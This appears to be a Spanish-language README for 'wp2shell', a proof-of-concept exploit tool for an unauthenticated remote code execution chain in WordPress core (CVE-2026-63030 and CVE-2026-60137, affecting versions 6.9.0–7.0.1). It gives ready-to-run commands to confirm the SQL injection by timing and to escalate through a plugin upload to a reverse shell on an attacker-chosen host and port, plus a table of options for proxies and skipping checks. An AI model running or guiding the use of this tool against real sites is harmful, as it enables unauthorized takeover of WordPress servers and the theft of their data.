mverschu/cve-2026-63030Exploit PoC de WordPress Core RCE no autenticado conocido como WP2Shell
| Nombre | wp2shell |
| CVEs | CVE-2026-63030 (desincronización por lotes), CVE-2026-60137 (SQLi author__not_in) |
| Afectado | WordPress 6.9.0 a 6.9.4, 7.0.0 a 7.0.1 |
| Corregido en | 6.9.5, 7.0.2 |
| Autenticación necesaria | Ninguna |
| Encontrado por | Adam Kues (Searchlight Cyber / Assetnote) |
Host simple = esquema automático (prueba https:// y luego http://). Prefija con http:// o https:// solo cuando quieras forzar uno.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| Flag | Qué hace |
|---|---|
--shell [LHOST [LPORT]] | cadena RCE predeterminada; LHOST predeterminado es la IP de esta máquina, LPORT es 443 |
--rest-route | probar primero /?rest_route=/batch/v1 |
--verify-tls | verificar certificados TLS (desactivada por defecto para entornos de laboratorio/autofirmados) |
--proxy URL | enviar tráfico a través de un proxy |
--force | saltar la identificación de WordPress |